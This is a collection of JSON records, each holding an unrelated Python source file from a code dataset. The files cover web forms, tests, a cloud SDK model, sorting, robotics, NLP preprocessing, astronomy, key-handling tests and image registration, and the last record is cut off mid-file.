+{"seq_id":"346578772","text":"import re\n\nfrom xssp_api import default_settings as settings\nfrom flask_wtf import Form\nfrom wtforms.fields import FileField, SelectField, TextAreaField, TextField\nfrom wtforms.validators import Regexp\n\nfrom xssp_api.frontend.validators import (FileExtension, NAminoAcids,\n                                          NotRequiredIfOneOf, PdbidExists)\n\n\nRE_PDB_ID = re.compile(r\"^[0-9a-zA-Z]{4}$\")\n\n\nclass XsspForm(Form):\n    input_type = SelectField(u'Input',\n                             choices=[('pdb_id', 'PDB code'),\n                                      ('pdb_redo_id', 'PDB_REDO code'),\n                                      ('pdb_file', 'PDB file'),\n                                      ('sequence', 'Sequence')])\n    output_type = SelectField(u'Output',\n                              choices=[('dssp', 'DSSP'),\n                                       ('hssp_hssp', 'HSSP'),\n                                       ('hssp_stockholm', 'HSSP (Stockholm)'),\n                                       ('hg_hssp', 'HSSP (Human Genome)')])\n    pdb_id = TextField(u'PDB code', [NotRequiredIfOneOf(['sequence', 'file_']),\n                                     Regexp(regex=RE_PDB_ID),\n                                     PdbidExists(settings.PDB_ROOT, settings.PDB_REDO_ROOT)])\n    sequence = TextAreaField(u'Sequence', [\n        NotRequiredIfOneOf(['pdb_id', 'file_']),\n        NAminoAcids(min=25)\n    ])\n    file_ = FileField(u'File', [NotRequiredIfOneOf(['pdb_id', 'sequence'])])\n\n    def __init__(self, allowed_extensions=None, **kwargs):\n        super(XsspForm, self).__init__(**kwargs)\n        if allowed_extensions:\n            file_field = self._fields.get('file_')\n            file_field.validators.append(FileExtension(allowed_extensions))\n","sub_path":"xssp_api/frontend/dashboard/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"3440780","text":"# coding: utf-8\nfrom datetime import date\nfrom django.test import TestCase\nfrom scrape.management.commands.scrape_mo_cp_league import (\n    parse_date,\n    date_range,\n    opt_handle,\n)\n\n\nclass TestMoDailyOptions(TestCase):\n\n    def test_parse_date(self):\n        self.assertEqual(\n            parse_date(\"20150901\"),\n            date(2015, 9, 1)\n        )\n\n    def test_date_range(self):\n        start = date(2015, 8, 3)\n        end = date(2015, 8, 6)\n        self.assertListEqual(\n            date_range(start, end),\n            [\n                date(2015, 8, 3),\n                date(2015, 8, 4),\n                date(2015, 8, 5),\n                date(2015, 8, 6),\n            ]\n        )\n\n    def test_opt_handle(self):\n\n        # 引数が日付\n        target_date, range = opt_handle({\n            'date': \"20150901\",\n        })\n        self.assertEqual(target_date, date(2015, 9, 1))\n        self.assertIsNone(range)\n\n        # 引数がカンマ区切りの日付範囲\n        target_date, range_ = opt_handle({\n            'range': \"20150901,20150903\",\n        })\n        self.assertIsNone(target_date)\n        self.assertEqual(\n            range_,\n            [\n                date(2015, 9, 1),\n                date(2015, 9, 2),\n                date(2015, 9, 3),\n            ]\n        )\n\n        # 引数が両方宣言されてしまった場合\n        self.assertRaises(AssertionError, opt_handle, {\n            'date': \"20150901\",\n            'range': \"20150901,201503\",\n        })\n","sub_path":"scrape/management/commands/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"389236330","text":"# coding: utf-8\n\nimport re\nimport six\n\n\n\n\n\nclass CcrulesListInfoActionDetail:\n\n\n    \"\"\"\n    Attributes:\n      openapi_types (dict): The key is attribute name\n                            and the value is attribute type.\n      attribute_map (dict): The key is attribute name\n                            and the value is json key in definition.\n    \"\"\"\n\n    sensitive_list = []\n\n    openapi_types = {\n        'redirect_url': 'str',\n        'response': 'CcrulesListInfoActionDetailResponse'\n    }\n\n    attribute_map = {\n        'redirect_url': 'redirect_url',\n        'response': 'response'\n    }\n\n    def __init__(self, redirect_url=None, response=None):\n        \"\"\"CcrulesListInfoActionDetail - a model defined in huaweicloud sdk\"\"\"\n        \n        \n\n        self._redirect_url = None\n        self._response = None\n        self.discriminator = None\n\n        if redirect_url is not None:\n            self.redirect_url = redirect_url\n        if response is not None:\n            self.response = response\n\n    @property\n    def redirect_url(self):\n        \"\"\"Gets the redirect_url of this CcrulesListInfoActionDetail.\n\n        返回页面重定向的url\n\n        :return: The redirect_url of this CcrulesListInfoActionDetail.\n        :rtype: str\n        \"\"\"\n        return self._redirect_url\n\n    @redirect_url.setter\n    def redirect_url(self, redirect_url):\n        \"\"\"Sets the redirect_url of this CcrulesListInfoActionDetail.\n\n        返回页面重定向的url\n\n        :param redirect_url: The redirect_url of this CcrulesListInfoActionDetail.\n        :type: str\n        \"\"\"\n        self._redirect_url = redirect_url\n\n    @property\n    def response(self):\n        \"\"\"Gets the response of this CcrulesListInfoActionDetail.\n\n\n        :return: The response of this CcrulesListInfoActionDetail.\n        :rtype: CcrulesListInfoActionDetailResponse\n        \"\"\"\n        return self._response\n\n    @response.setter\n    def response(self, response):\n        \"\"\"Sets the response of this CcrulesListInfoActionDetail.\n\n\n        :param response: The response of this CcrulesListInfoActionDetail.\n        :type: CcrulesListInfoActionDetailResponse\n        \"\"\"\n        self._response = response\n\n    def to_dict(self):\n        \"\"\"Returns the model properties as a dict\"\"\"\n        result = {}\n\n        for attr, _ in six.iteritems(self.openapi_types):\n            value = getattr(self, attr)\n            if isinstance(value, list):\n                result[attr] = list(map(\n                    lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n                    value\n                ))\n            elif hasattr(value, \"to_dict\"):\n                result[attr] = value.to_dict()\n            elif isinstance(value, dict):\n                result[attr] = dict(map(\n                    lambda item: (item[0], item[1].to_dict())\n                    if hasattr(item[1], \"to_dict\") else item,\n                    value.items()\n                ))\n            else:\n                if attr in self.sensitive_list:\n                    result[attr] = \"****\"\n                else:\n                    result[attr] = value\n\n        return result\n\n    def to_str(self):\n        import simplejson as json\n        return json.dumps(self.to_dict())\n\n    def __repr__(self):\n        \"\"\"For `print` and `pprint`\"\"\"\n        return self.to_str()\n\n    def __eq__(self, other):\n        \"\"\"Returns true if both objects are equal\"\"\"\n        if not isinstance(other, CcrulesListInfoActionDetail):\n            return False\n\n        return self.__dict__ == other.__dict__\n\n    def __ne__(self, other):\n        \"\"\"Returns true if both objects are not equal\"\"\"\n        return not self == other\n","sub_path":"huaweicloud-sdk-waf/huaweicloudsdkwaf/v1/model/ccrules_list_info_action_detail.py","file_name":"ccrules_list_info_action_detail.py","file_ext":"py","file_size_in_byte":3658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"365777301","text":"# Time complexity = O(n^2)\n# space complexity = O(1)\n\ndef insertion_sort(arr):\n    \"\"\"\n    >>> insertion_sort([5, 2, 8, 3, 1, 9, 4, 7, 6])\n    [1, 2, 3, 4, 5, 6, 7, 8, 9]\n    \"\"\"\n    n = len(arr)\n    for i in range(1, n):\n        key = arr[i]\n        j = i - 1\n        while j >= 0 and arr[j] > key:\n            arr[j + 1] = arr[j]\n            j -= 1\n        arr[j + 1] = key\n    return arr\n","sub_path":"Python/sort_algorithm/insertion_sort.py","file_name":"insertion_sort.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"465011148","text":"from social_interaction_cloud.action import ActionRunner\nfrom social_interaction_cloud.basic_connector import BasicSICConnector\n\n\nclass Example:\n    \"\"\"Example that uses speech recognition. Prerequisites are the availability of a dialogflow_key_file,\n    a dialogflow_agent_id, and a running Dialogflow service. For help meeting these Prerequisites see\n    https://socialrobotics.atlassian.net/wiki/spaces/CBSR/pages/260276225/The+Social+Interaction+Cloud+Manual\"\"\"\n\n    def __init__(self, server_ip, robot, dialogflow_key_file, dialogflow_agent_id):\n        self.sic = BasicSICConnector(server_ip, robot, dialogflow_key_file, dialogflow_agent_id)\n\n        self.user_model = {}\n\n    def run(self):\n        self.sic.start()\n        action_runner = ActionRunner(self.sic)\n        action_runner.load_waiting_action('set_language', 'en-US')\n        #action_runner.load_waiting_action('wake_up')\n        action_runner.run_loaded_actions()\n\n        action_runner.run_waiting_action('say', 'Hi I am Nao. What is your name?')\n        action_runner.run_waiting_action('speech_recognition', 'answer_name', 3, additional_callback=self.on_intent)\n        action_runner.run_waiting_action('say', 'Nice to meet you ' + self.user_model['name'])\n\n        action_runner.run_waiting_action('rest')\n        self.sic.stop()\n\n    def on_intent(self, intent_name, *args):\n        if intent_name == 'answer_name' and len(args) > 0:\n            self.user_model['name'] = args[0]\n\n\nexample = Example('192.168.2.141',\n                  'nao',\n                  'coco.json',\n                  'coco-mrjvwk')\nexample.run()\n","sub_path":"start convo.py","file_name":"start convo.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"240841628","text":"from numpy import *\nimport sys\nsys.path.insert(0, '/homeappl/home/gcao/fa/misc')\nfrom fileproc import loadstr, writestr\n\ndef writeList():\n    filenames = loadstr('mylist.txt')\n    lst = []\n    for f in filenames:\n        lst.append('file ' + '\\'' + '/wrk/gcao/misc/music/lyq/' + f + '\\'')\n    writestr('mylist2.txt', lst)\n\nif __name__ == '__main__':\n    writeList()\n","sub_path":"music/cat.py","file_name":"cat.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"415513928","text":"import json\nfrom collections import Counter\n'''\nConvert questions json to map\nqn_id --> qn string\n'''\ndef processQnFile(questionFile, outFile):\n\tcount = 0\n\tquestions = {}\n\twith open(questionFile) as jsonFile:\n\t\tqnData = json.load(jsonFile)\n\t\tfor qn in qnData['questions']:\n\t\t\tcount = count + 1\n\t\t\tquestions[qn['question_id']] = qn['question']\n\t\t\tif (count%100 == 0):\n\t\t\t\tprint(count)\n\tprint('Completed: ' + str(count))\n\n\twith open(outFile, 'w') as jsonOut:\n\t\tjson.dump(questions, jsonOut)\n\nif __name__ == \"__main__\":\n\tquestionFile = '/media/jwong/Transcend/VQADataset/TrainSet/Questions_Train_mscoco/OpenEnded_mscoco_train2014_questions.json'\n\toutFile = '/media/jwong/Transcend/VQADataset/TrainSet/Questions_Train_mscoco/Preprocessed/processedOpenEnded_trainQns.json'\n\tprocessQnFile(questionFile, outFile)\n","sub_path":"Preprocessors/QuestionJSONpreprocessor.py","file_name":"QuestionJSONpreprocessor.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"119984914","text":"import collections\n\nimport numpy as np\n\nimport ccobra\n\nclass MFAModel(ccobra.CCobraModel):\n    def __init__(self, name='MFAModel', k=1):\n        super(MFAModel, self).__init__(name, [\"syllogistic\"], [\"single-choice\"])\n\n        # Parameters\n        self.k = k\n\n        # Initialize the model's storage\n        syllogisms = ccobra.syllogistic.SYLLOGISMS\n        responses = ccobra.syllogistic.RESPONSES\n        self.predictions = {}\n        for syllogism in syllogisms:\n            self.predictions[syllogism] = dict(\n                zip(responses, [0]*len(responses)))\n\n    def pre_train(self, dataset):\n        for subj_train_data in dataset:\n            for seq_train_data in subj_train_data:\n                self.adapt(seq_train_data['item'], seq_train_data['response'])\n\n    def person_train(self, dataset):\n        self.pre_train([dataset])\n\n    def predict(self, item, **kwargs):\n        enc_task = ccobra.syllogistic.encode_task(item.task)\n        resp_counts = self.predictions[enc_task]\n\n        target_value = sorted(\n            np.unique(list(resp_counts.values())), reverse=True)[self.k - 1]\n        resps = []\n        for resp, cnt in resp_counts.items():\n            if cnt == target_value:\n                resps.append(resp)\n\n        return ccobra.syllogistic.decode_response(\n            resps[np.random.randint(0, len(resps))], item.task)\n\n    def adapt(self, item, response, **kwargs):\n        enc_task = ccobra.syllogistic.encode_task(item.task)\n        enc_resp = ccobra.syllogistic.encode_response(response, item.task)\n        self.predictions[enc_task][enc_resp] += 1\n","sub_path":"Implementations/SCPimplementation2/Axel_ccobra/benchmarks/syllogistic/models/Baseline/MFA-Model/mfa_model.py","file_name":"mfa_model.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"263251565","text":"from random import random, randint\nfrom threading import Thread, current_thread\n\n\ndef merge_sort(arr):\n    print(f'{current_thread().name} \\n')\n    if len(arr) > 1:\n        mid = len(arr) // 2\n        low = arr[mid:]\n        high = arr[:mid]\n        t1 = Thread(target=merge_sort, name=f'{randint(1,100000)}', args=(low,))\n        t2 = Thread(target=merge_sort, name=f'{randint(100000, 2000000)}', args=(high,))\n\n        t1.start()\n        t2.start()\n        t1.join()\n        t2.join()\n\n        i = 0\n        j = 0\n        k = 0\n\n        while i < len(low) and j < len(high):\n            if low[i] < high[j]:\n                arr[k] = low[i]\n                i += 1\n            else:\n                arr[k] = high[j]\n                j += 1\n            k += 1\n\n        while i < len(low):\n            arr[k] = low[i]\n            i += 1\n            k += 1\n\n        while j < len(high):\n            arr[k] = high[j]\n            j += 1\n            k += 1\n\nmyList = [54,26,93,17,77,31,44,55,20]\nmerge_sort(myList)\nprint(myList)","sub_path":"multi_threaded/merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"612108005","text":"# course: Object-oriented programming, year 2, semester 1\n# academic year: 201920\n# author: B. Schoen-Phelan\n# date: 08-10-2019\n# purpose: Lab 3\n\nimport string\n\n\nclass WordScramble:\n    def __init__(self):\n        self.user_input = input(\"Please give me a sentence: \")\n\n    def scramble(self):\n        # print what was input\n        print(\"The user input was: \", self.user_input)\n\n        # first scramble is just one word\n        # reverse two indices\n        # particularly good to use is to switch the first two\n        # and the last two\n        # this only makes sense if you have a world that is longer than 3\n\n        sentence = self.user_input.strip().split()\n        word = \"word\"\n        temp_word = \"temp_word\"\n        index = 0\n\n        sentence = self.user_input.strip().split()\n\n        for index, word in enumerate(sentence):\n            if len(word) > 3:\n                temp_word = list(word)\n\n                if ',' in temp_word:\n                    temp = temp_word[1]\n                    temp_word[1] = temp_word[-3]\n                    temp_word[-3] = temp\n\n                else:\n                    temp = temp_word[1]\n                    temp_word[1] = temp_word[2]\n                    temp_word[2] = temp\n\n                temp_word = ''.join(temp_word)\n                sentence[index] = temp_word\n                sentence = ''.join(temp_word)\n\n            else:\n                sentence[index] = word\n                sentence = ' '.join(sentence)\n                print(sentence)\n\n# now try to scramble one sentence\n# do just words first, then you can move on to work on\n# punctuation\n\n\nword_scrambler = WordScramble()\nword_scrambler.scramble()\n","sub_path":"lab3_word_scramble.py","file_name":"lab3_word_scramble.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"286530918","text":"import ipinfo\nfrom astropy.time import Time\nimport datetime\nfrom astropy import units as u\nimport numpy as np\n\n\nmonths = [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Nov\", \"Dec\"]\ndays   = [31,    28,     31,    30,    31,   30,     31,    31,    30,     31,    30,   31 ]\n\n\n\n### Next goal in development: get coordinates these from lookup of objects\nRA = float(input(\"\\nEnter the object's right ascension: \"))\nDEC = float(input(\"Enter the object's declination: \"))\n\nif RA < 0: #solely for time of year calculations\n    ra = RA + 360\nelse:\n    ra = RA\n\ntimeofyear = ra/360 * 365\n\nfor i in range(len(days)):\n    if timeofyear - days[i] > 0:\n        timeofyear -= days[i]\n    else:\n        month = months[i]\n        day = int(timeofyear)+1\n        break\n\n\n\n\n\ncur_time = datetime.datetime.now()\n\nhandler = ipinfo.getHandler()\ndetails = handler.getDetails()\nlat = float(details.latitude)*u.deg\nlon = float(details.longitude)*u.deg\n\n\nt = Time(cur_time, scale='utc', location=(lat, lon))\nLST = t.sidereal_time('mean')\n\nLST_str = str(LST)\n\nif(LST_str[1] == \"h\"): \n    LST_str = \"0\"+LST_str\n\nhours   = float(LST_str[:2])\nminutes = float(LST_str[3:5])\nseconds = float(LST_str[6:-1])\n\nLST_d = hours + minutes/60 + seconds/3600\n\nRA = RA*u.deg\nDEC = DEC*u.deg\n\nH = ((LST_d*u.hourangle).to(u.deg) - RA).to(u.hourangle)\n\ntime_left = -H.value\ndef time_tuple(arg):\n    hours_left = int(arg)\n    mins = (arg-hours_left)*60\n    min_left = int(mins)\n    secs = (mins-min_left)*60\n    return(hours_left, min_left, secs)\n\nprint(\"\\nThe best time to view the object is around %s %d\" %(month, day))\n\nprint(\"\\nView in the sky in %s, %s:\" % (details.city, details.region))\nprint(\"The object will be at zenith in %d hours, %d minutes, %d seconds\" % time_tuple(time_left))\n\nif(abs(lat.value+DEC.value) > 90):\n    print('Object never sets below horizon\\n')\n\nelif(abs(lat.value-DEC.value) > 90):\n    print(\"Object never rises above horizon\\n\")\n\nelse:\n    x = -np.tan(DEC)*np.tan(lat)\n    delta_t = float((np.arccos(x.value)))*12/np.pi\n\n    t_to_rise = time_left - delta_t\n    t_to_set  = time_left + delta_t\n\n    rise_tuple = time_tuple(t_to_rise)\n    set_tuple  = time_tuple(t_to_set)\n\n    print(\"The object will rise in %d hours %d minutes %d seconds\" % rise_tuple)\n    print(\"The object will set in %d hours %d minutes %d seconds\\n\" % set_tuple)","sub_path":"full_helper.py","file_name":"full_helper.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"359877944","text":"import os\nimport sys\nimport itertools\nimport random\n\nroot_path = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\nfgrab_path = os.path.join(root_path, 'utils')\nsys.path.append(fgrab_path)\n\nfrom grab_folder import fgrab\nfrom collections import defaultdict\n\n# Code for acquiring the training data used for rhyme model.\n\npath = os.path.join(root_path, 'dataset/english/rhymedata-master/english_gold')\n\nfolder = fgrab(path).get_all_in_dir('.pgold')\n\nclass RhymePairFinder:\n    def __init__(self, path: str):\n        self.text = open(path, mode='r',encoding='ISO 8859-1').readlines()\n\n    def get_stanza(self):\n        temp = list()\n        for line in self.text:\n            if not line.strip():\n                continue\n            if line != '\\n':\n                temp.append(line.strip())\n        return list(itertools.zip_longest(*[iter(temp)]*3))\n    \n    def get_rhyme(self):\n        temp = list()\n        result = list()\n        for stanza in self.get_stanza():\n            d = defaultdict(list)\n            for t in list(zip(stanza[0].split(' ')[1:], stanza[1].split(' '))):\n                d[t[1]].append(t[0])\n            s_result = [list(itertools.combinations(x, 2)) for x in d.values()]\n            temp.extend(s_result)\n        temp = [pair for pair in temp if len(pair) != 0]\n        for pair in temp:\n            for t in pair:\n                result.append(t)\n        return result\n\n    def get_example(self, pairs: set, negaposi: int, length: int):\n        result = list()\n        if negaposi == 1:\n            for pair in pairs:\n                result.append(pair[0] + '.' + pair[1] + '.1')\n        return result\npairs = list()\n\nfor f in folder:\n    rpf = RhymePairFinder(f)\n    pairs.extend(rpf.get_rhyme())\n\npairs = list(set(pairs))\n\ndef get_example(pairs: list, negaposi: int):\n    result = list()\n\n    if negaposi == 0:\n        for pair in pairs:\n            result.append(pair[0] + '.' + '\\t'+ random.choice(pairs)[1] + '.' + '\\t' + '0' + '\\n')\n    if negaposi == 1:\n        for pair in pairs:\n            result.append(pair[0] + '.' + '\\t' + pair[1] + '.' + '\\t' + '1' + '\\n')\n    \n    return result\n\nnega = get_example(pairs, 0)\nposi = get_example(pairs, 1)\n\nprint(len(nega))\nprint(len(posi))","sub_path":"training/rhyme/rhyme_pair_finder.py","file_name":"rhyme_pair_finder.py","file_ext":"py","file_size_in_byte":2242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"638718165","text":"#!/usr/bin/python3\n\"\"\"module\"\"\"\n\n\nclass Student:\n    def __init__(self, first_name, last_name, age):\n        \"\"\"initialization method\"\"\"\n        self.first_name = first_name\n        self.last_name = last_name\n        self.age = age\n\n    def to_json(self, attrs=None):\n        if type(attrs) == list and all(type(i) == str for i in attrs):\n            my_dict = {}\n            for j in attrs:\n                if hasattr(self, j):\n                    my_dict[j] = getattr(self, j)\n            return my_dict\n        return self.__dict__\n","sub_path":"0x0B-python-input_output/12-student.py","file_name":"12-student.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"484925003","text":"# Copyright (c) 2015 The Johns Hopkins University/Applied Physics Laboratory\n# All Rights Reserved.\n#\n#    Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n#    not use this file except in compliance with the License. You may obtain\n#    a copy of the License at\n#\n#         http://www.apache.org/licenses/LICENSE-2.0\n#\n#    Unless required by applicable law or agreed to in writing, software\n#    distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n#    WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n#    License for the specific language governing permissions and limitations\n#    under the License.\n\n\"\"\"\nTest cases for the private key class.\n\"\"\"\nfrom castellan.common import objects\nfrom castellan.common.objects import private_key\nfrom castellan.tests import base\nfrom castellan.tests import utils\n\n\nclass PrivateKeyTestCase(base.KeyTestCase):\n\n    def _create_key(self):\n        return private_key.PrivateKey(self.algorithm,\n                                      self.bit_length,\n                                      self.encoded,\n                                      self.name,\n                                      self.created,\n                                      consumers=self.consumers)\n\n    def setUp(self):\n        self.algorithm = 'RSA'\n        self.bit_length = 2048\n        self.encoded = bytes(utils.get_private_key_der())\n        self.name = 'my key'\n        self.created = 1448088699\n        self.consumers = [{'service': 'service_test',\n                           'resource_type': 'type_test',\n                           'resource_id': 'id_test'}]\n\n        super(PrivateKeyTestCase, self).setUp()\n\n    def test_is_not_only_metadata(self):\n        self.assertFalse(self.key.is_metadata_only())\n\n    def test_is_only_metadata(self):\n        k = private_key.PrivateKey(self.algorithm,\n                                   self.bit_length,\n                                   None,\n                                   self.name,\n                                   self.created)\n        self.assertTrue(k.is_metadata_only())\n\n    def test_get_algorithm(self):\n        self.assertEqual(self.algorithm, self.key.algorithm)\n\n    def test_get_bit_length(self):\n        self.assertEqual(self.bit_length, self.key.bit_length)\n\n    def test_get_name(self):\n        self.assertEqual(self.name, self.key.name)\n\n    def test_get_format(self):\n        self.assertEqual('PKCS8', self.key.format)\n\n    def test_get_encoded(self):\n        self.assertEqual(self.encoded, self.key.get_encoded())\n\n    def test_get_created(self):\n        self.assertEqual(self.created, self.key.created)\n\n    def test_get_consumers(self):\n        self.assertEqual(self.consumers, self.key.consumers)\n\n    def test_get_created_none(self):\n        created = None\n        key = private_key.PrivateKey(self.algorithm,\n                                     self.bit_length,\n                                     self.encoded,\n                                     self.name,\n                                     created,\n                                     consumers=self.consumers)\n\n        self.assertEqual(created, key.created)\n\n    def test___eq__(self):\n        self.assertTrue(self.key == self.key)\n        self.assertTrue(self.key is self.key)\n\n        self.assertFalse(self.key is None)\n        self.assertFalse(None == self.key)  # noqa: E711\n\n        other_key = private_key.PrivateKey(self.algorithm,\n                                           self.bit_length,\n                                           self.encoded,\n                                           consumers=self.consumers)\n        self.assertTrue(self.key == other_key)\n        self.assertFalse(self.key is other_key)\n\n    def test___ne___none(self):\n        self.assertTrue(self.key is not None)\n        self.assertTrue(None != self.key)  # noqa: E711\n\n    def test___ne___algorithm(self):\n        other_key = private_key.PrivateKey('DSA',\n                                           self.bit_length,\n                                           self.encoded,\n                                           self.name,\n                                           consumers=self.consumers)\n        self.assertTrue(self.key != other_key)\n\n    def test___ne___bit_length(self):\n        other_key = private_key.PrivateKey(self.algorithm,\n                                           4096,\n                                           self.encoded,\n                                           self.name,\n                                           consumers=self.consumers)\n        self.assertTrue(self.key != other_key)\n\n    def test___ne___encoded(self):\n        different_encoded = bytes(utils.get_private_key_der()) + b'\\x00'\n        other_key = private_key.PrivateKey(self.algorithm,\n                                           self.bit_length,\n                                           different_encoded,\n                                           self.name,\n                                           consumers=self.consumers)\n        self.assertTrue(self.key != other_key)\n\n    def test___ne___consumers(self):\n        different_consumers = [{'service': 'other_service',\n                                'resource_type': 'other_type',\n                                'resource_id': 'other_id'}]\n        other_key = private_key.PrivateKey(self.algorithm,\n                                           self.bit_length,\n                                           self.encoded,\n                                           self.name,\n                                           consumers=different_consumers)\n\n        self.assertTrue(self.key is not other_key)\n\n    def test_to_and_from_dict(self):\n        other = objects.from_dict(self.key.to_dict())\n        self.assertEqual(self.key, other)\n","sub_path":"castellan/tests/unit/objects/test_private_key.py","file_name":"test_private_key.py","file_ext":"py","file_size_in_byte":5794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"271557091","text":"from collections import namedtuple\n\n# Import state machine package\nimport statepy.state\nfrom safe_cv import cv\n\n\nCANCEL = statepy.state.declareEventType('on_cancel')\nIMAGE_CLICK = statepy.state.declareEventType('on_image_click')\nOVERLAY_CLICK = statepy.state.declareEventType('on_image_click')\nEND = statepy.state.declareEventType('on_end')\n\n\nclass StateWithCallback(statepy.state.State):\n    def callback(self, event, *args):\n        # Call callback function (if there is one)\n        if hasattr(self, 'callback'):\n            self.callback(*args)\n\n\nclass WaitCairoClick(StateWithCallback):\n    colour = (0, 1, 0)\n    def on_image_click(self, event):\n        if not hasattr(event, 'cairo_context'):\n            return\n        # Draw label on image at point\n        event.cairo_context.rectangle(event.cairo_point.x, event.cairo_point.y,\n                10, 10)\n        event.cairo_context.set_source_rgb(*self.colour)\n        event.cairo_context.fill_preserve()\n        event.cairo_context.set_source_rgb(1, 1, 1)\n        event.cairo_context.stroke()\n\n\nclass WaitOverlayClick(WaitCairoClick):\n    def on_image_click(self, event):\n        super(WaitOverlayClick, self).on_image_click(event)\n        self.overlay_points += [event.point]\n\n    def enter(self):\n        if self.on_overlay_point:\n            self.on_overlay_point('Please click a new point on the overlay.')\n\n\nclass WaitImageClick(WaitCairoClick):\n    def on_image_click(self, event):\n        super(WaitImageClick, self).on_image_click(event)\n        self.image_points += [event.point]\n\n    def enter(self):\n        if self.on_image_point:\n            self.on_image_point('Please click a new point on the image.')\n\n\nclass WaitOverlayClickA(WaitOverlayClick):\n    colour = (0, 1, 0)\n    label = 'A'\n    def enter(self):\n        del self.overlay_points[:]\n        del self.image_points[:]\n        super(WaitOverlayClickA, self).enter()\n\n    @staticmethod\n    def transitions():\n        return {\n            OVERLAY_CLICK : WaitImageClickA, \n            CANCEL : Canceled\n        }\n\n\nclass WaitImageClickA(WaitImageClick):\n    colour = (0, 1, 0)\n    label = 'A'\n    @staticmethod\n    def transitions():\n        return {\n            IMAGE_CLICK : WaitOverlayClickB,\n            CANCEL : Canceled\n        }\n\n\nclass WaitOverlayClickB(WaitOverlayClick):\n    colour = (1, 0, 0)\n    @staticmethod\n    def transitions():\n        return {\n            OVERLAY_CLICK : WaitImageClickB, \n            CANCEL : Canceled\n        }\n\n\nclass WaitImageClickB(WaitImageClick):\n    colour = (1, 0, 0)\n    @staticmethod\n    def transitions():\n        return {\n            IMAGE_CLICK : WaitOverlayClickC,\n            CANCEL : Canceled\n        }\n\n\nclass WaitOverlayClickC(WaitOverlayClick):\n    colour = (0, 0, 1)\n    @staticmethod\n    def transitions():\n        return {\n            OVERLAY_CLICK : WaitImageClickC, \n            CANCEL : Canceled\n        }\n\n\nclass WaitImageClickC(WaitImageClick):\n    colour = (0, 0, 1)\n    @staticmethod\n    def transitions():\n        return {\n            IMAGE_CLICK : WaitOverlayClickD,\n            CANCEL : Canceled\n        }\n\n\nclass WaitOverlayClickD(WaitOverlayClick):\n    colour = (1, 0, 1)\n    @staticmethod\n    def transitions():\n        return {\n            OVERLAY_CLICK : WaitImageClickD, \n            CANCEL : Canceled\n        }\n\n\nclass WaitImageClickD(WaitImageClick):\n    colour = (1, 0, 1)\n    def on_image_click(self, event):\n        super(WaitImageClickD, self).on_image_click(event)\n        cv.GetPerspectiveTransform(self.overlay_points, self.image_points, self.map_mat)\n        if self.on_registered:\n            self.on_registered()\n\n    @staticmethod\n    def transitions():\n        return {\n            IMAGE_CLICK : Done,\n            CANCEL : Canceled\n        }\n\n\nclass Canceled(statepy.state.State):\n    def enter(self):\n        if self.on_canceled:\n            self.on_canceled()\n\n\nclass Done(statepy.state.State):\n    pass\n\n\nPoint = namedtuple('Point', 'x y')\n\n\nclass ImageRegistrationTask(object):\n    def __init__(self,\n            on_overlay_point=None,\n            on_image_point=None,\n            on_registered=None,\n            on_canceled=None):\n        # Need to use an array for current_point or changes from a State\n        # would not persist.\n        self.map_mat = cv.CreateMat(3, 3, cv.CV_32FC1)\n        # Initialize map_mat with identity transformation matrix.\n        cv.GetPerspectiveTransform(4 * [Point(0,0)], 4 * [Point(0,0)], self.map_mat)\n        self.state = dict(overlay_points=[], image_points=[],\n            map_mat=self.map_mat,\n            on_overlay_point=on_overlay_point,\n            on_image_point=on_image_point,\n            on_registered=on_registered,\n            on_canceled=on_canceled)\n        self.machine = statepy.state.Machine(statevars=self.state)\n\n    def cancel(self):\n        self.trigger_event(CANCEL)\n\n    def start(self, start_state=WaitOverlayClickA):\n        self.machine.start(startState=start_state)\n\n    def get_corrected_image(self, in_image):\n        assert(self.machine.currentState() is None)\n        map_mat = self.state['map_mat']\n        warped = cv.CreateImage((in_image.width, in_image.height), 8,\n                                in_image.channels)\n        cv.WarpPerspective(in_image, warped, map_mat, flags=cv.CV_WARP_INVERSE_MAP)\n        return warped\n\n    def simulate(self):\n        self.start()\n        for i in range(4):\n            self.trigger_event(OVERLAY_CLICK, point=Point(i, i))\n            self.trigger_event(IMAGE_CLICK, point=Point(i, i))\n\n        current_state = self.machine.currentState()\n        assert(current_state 